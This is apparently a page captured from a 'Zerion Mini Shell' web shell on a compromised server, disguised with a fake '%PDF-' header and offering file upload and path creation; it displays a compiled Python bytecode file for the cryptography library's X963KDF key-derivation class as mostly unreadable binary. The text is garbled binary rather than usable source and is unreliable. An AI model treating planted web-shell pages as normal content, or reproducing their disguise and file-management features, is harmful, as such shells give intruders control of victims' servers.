%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/__pycache__/x963kdf.cpython-312.pyc

�

�3Tf���n�ddlmZddlZddlmZddlmZmZddlm	Z	m
Z
ddlmZd
d�Z
Gd�d	e�Zy)�)�annotationsN)�utils)�AlreadyFinalized�
InvalidKey)�
constant_time�hashes)�KeyDerivationFunctionc�(�|jdd��S)N��big)�length�	byteorder)�to_bytes)�ns �L/usr/lib/python3/dist-packages/cryptography/hazmat/primitives/kdf/x963kdf.py�
_int_to_u32bers���:�:�Q�%�:�0�0�c�6�eZdZ	d							dd�Zdd�Zdd�Zy)	�X963KDFNc��|jdz}||kDrtd|�d���|�tjd|�||_||_||_d|_y)Nl��zCannot derive keys larger than z bits.�
sharedinfoF)�digest_size�
ValueErrorr�_check_bytes�
_algorithm�_length�_sharedinfo�_used)�self�	algorithmr
r�backend�max_lens      r�__init__zX963KDF.__init__sd���'�'�9�5���G���>�w�i�v�N�O�O��!����|�Z�8�#������%�����
rc�4�|jrt�d|_tjd|�dg}d}d}|j|kDr�tj|j�}|j|�|jt|��|j�|j|j�|j|j��|t|d�z
}|dz
}|j|kDr��dj|�d|jS)NT�key_materialrr����)rrr�_check_byteslikerr�Hashr�updaterr�append�finalize�len�join)rr%�output�outlen�counter�hs      r�derivezX963KDF.derive&s����:�:�"�"���
�
���~�|�<���������l�l�V�#����D�O�O�,�A�
�H�H�\�"�
�H�H�]�7�+�,����+�����)�)�*��M�M�!�*�*�,�'��c�&��*�o�%�F��q�L�G��l�l�V�#��x�x����$�,�,�/�/rc�Z�tj|j|�|�st�y�N)r�bytes_eqr3r)rr%�expected_keys   r�verifyzX963KDF.verify;s'���%�%�d�k�k�,�&?��N���Orr5)r zhashes.HashAlgorithmr
�intrztyping.Optional[bytes]r!z
typing.Any)r%�bytes�returnr:)r%r:r7r:r;�None)�__name__�
__module__�__qualname__r#r3r8�rrrrs<��#��'����+�	�
��$0�*rr)rr9r;r:)�
__future__r�typing�cryptographyr�cryptography.exceptionsrr�cryptography.hazmat.primitivesrr�"cryptography.hazmat.primitives.kdfr	rrr@rr�<module>rGs+��
#�
��@�@�D�1�*�#�*r

Zerion Mini Shell 1.0